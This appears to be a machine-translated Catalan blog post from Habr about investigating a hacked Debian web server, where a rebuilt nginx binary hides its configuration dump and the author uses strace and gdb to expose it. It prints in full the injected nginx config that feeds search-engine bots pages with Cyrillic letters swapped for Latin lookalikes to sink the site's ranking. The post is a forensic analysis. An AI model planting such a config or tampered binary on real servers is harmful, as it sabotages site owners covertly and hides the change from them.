Quan "a" no és igual a "a". Arran d'un pirateig

A un dels meus amics li va passar una història molt desagradable. Però per molt desagradable que va resultar per a Mikhail, va ser igual de divertit per a mi.

He de dir que el meu amic és bastant UNIX-usuari: pot instal·lar el sistema ell mateix mysql, php i fer configuracions senzilles nginx.
I té una dotzena o una i mitja de llocs web dedicats a les eines de construcció.

Un d'aquests llocs dedicats a les motoserres es troba fermament al TOP dels motors de cerca. Aquest lloc és un revisor no comercial, però algú va agafar el costum d'atacar-lo. Això DDoS, després la força bruta, després escriuen comentaris obscens i envien abusos a l'allotjament i al RKN.
De sobte, tot es va calmar i aquesta calma va resultar que no era bona, i el lloc va començar a deixar gradualment les primeres línies dels resultats de la cerca.

Quan "a" no és igual a "a". Arran d'un pirateig

Això era una dita, després la història de l'administrador.

S'acostava l'hora d'anar a dormir quan va sonar el telèfon: "San, no miraràs el meu servidor? Em sembla que em van piratejar, no ho puc demostrar, però la sensació no m'ha abandonat durant la tercera setmana. Potser és el moment de rebre tractament per a la paranoia?

El que va seguir va ser un debat de mitja hora que es pot resumir de la següent manera:

  • el sòl per a la pirateria era força fèrtil;
  • un atacant podria obtenir drets de superusuari;
  • l'atac (si es va produir) va ser dirigit específicament a aquest lloc;
  • s'han corregit les àrees problemàtiques i només cal entendre si hi ha hagut penetració;
  • el pirateig no podria afectar el codi del lloc i les bases de dades.

Respecte al darrer punt.

Quan "a" no és igual a "a". Arran d'un pirateig

Només la IP frontal blanca mira cap al món. No hi ha intercanvi entre els backend i el frontend excepte http(s), els usuaris/contrasenyes són diferents, no s'han intercanviat claus. A les adreces grises, tots els ports excepte el 80/443 estan tancats. Les IP de fons blancs només són conegudes per dos usuaris, en qui Mikhail confia completament.

Instal·lat al frontend Debian 9 i quan es fa la trucada, el sistema està aïllat del món per un tallafoc extern i s'atura.

"D'acord, dóna'm accés", decideixo ajornar el son durant una hora. "Ho veuré amb els meus propis ulls".

Aquí i més enllà:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Buscant un possible hack

Engego el servidor, primer a entrar mode de rescat. Munto els discos i els passo auth-registres, història, registres del sistema, etc., si és possible, comprovo les dates de creació dels fitxers, tot i que entenc que un cracker normal s'hauria "escombrat" després de si mateix, i Misha ja havia "trepitjat" molt mentre es buscava. .

Començo en mode normal, encara no entenc ben bé què buscar, estudio les configuracions. En primer lloc, m'interessa nginx ja que, en general, no hi ha res més a la interfície excepte ella.
Les configuracions són petites, ben estructurades en una dotzena de fitxers, només les miro gat'oh un per un. Sembla que tot està net, però mai se sap si em vaig perdre alguna cosa incloure, permeteu-me fer una llista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

No vaig entendre: "On és el llistat?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

S'afegeix una segona pregunta a la pregunta de la llista: "Per què una versió tan antiga de nginx?"

A més, el sistema creu que està instal·lada la darrera versió:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Estic trucant:
- Misha, per què vas tornar a muntar? nginx?
- Espera, ni tan sols sé com fer-ho!
- D'acord, vés a dormir...

Nginx està clarament reconstruït i la sortida de la llista amb "-T" s'amaga per un motiu. Ja no hi ha dubtes sobre la pirateria i simplement podeu acceptar-ho i (ja que Misha va substituir el servidor per un de nou de totes maneres) considerar el problema resolt.

I de fet, ja que algú va tenir els drets root'ah, llavors només té sentit fer-ho reinstal·lació del sistema, i era inútil buscar què hi havia malament, però aquesta vegada la curiositat va vèncer el son. Com podem esbrinar què ens volien amagar?

Intentem rastrejar:

$ strace nginx -T

Ens ho mirem, evidentment no hi ha prou línies en el traçat a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Només per diversió, comparem les troballes.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Crec que part del codi /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

es va portar a la forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

per tant, la llista per "-T" no es mostra.

Però, com podem veure la nostra configuració?

Si el meu pensament és correcte i el problema només està en la variable ngx_dump_config intentem instal·lar-lo utilitzant gdb, per sort hi ha una clau --amb-cc-opt -g present i esperem que l'optimització -O2 no ens farà mal. Al mateix temps, ja que no sé com ngx_dump_config es podria processar en cas 'T':, no cridarem aquest bloc, sinó que l'instal·larem utilitzant cas 't':

Per què podeu utilitzar "-t" així com "-T"Processament de blocs if(ngx_dump_config) passa dins if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Per descomptat, si el codi es canvia en aquesta part i no en cas 'T':, aleshores el meu mètode no funcionarà.

Prova nginx.confDesprés d'haver resolt el problema de manera experimental, es va establir que cal una configuració mínima perquè el programari maliciós funcioni nginx tipus:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

L'utilitzarem per a la brevetat a l'article.

Inicieu el depurador

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Pas a pas:

  • establir un punt d'interrupció a la funció main ()
  • posar en marxa el programa
  • canviar el valor de la variable que determina la sortida de la configuració ngx_dump_config=1
  • continuar/acabar el programa

Com podem veure, la configuració real és diferent de la nostra, en seleccionem una peça paràsita:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Fem una ullada al que passa aquí per ordre.

Determinat Agent d'usuariyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Les pàgines de servei estan excloses wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

I per a aquells que es troben en les dues condicions anteriors

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

en el text html- Canvi de pàgines 'O' en 'o' и 'A' en 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

És cert, l'única subtilesa és això 'a' != 'a' així com 'o' != 'o':

Quan "a" no és igual a "a". Arran d'un pirateig

Així, els robots dels motors de cerca reben, en lloc del text normal 100% ciríl·lic, escombraries modificades diluïdes amb llatí. 'a' и 'o'. No m'atreveixo a parlar de com afecta això al SEO, però és poc probable que aquest revolt de lletres tingui un impacte positiu en les posicions dels resultats de la cerca.

Què puc dir, nois amb imaginació.

Referències

Depuració amb GDB
gdb(1) — Pàgina man de Linux
strace(1) — Pàgina man de Linux
Nginx - Mòdul ngx_http_sub_module
Sobre serres, motoserres i serres elèctriques

Font: www.habr.com

Afegeix comentari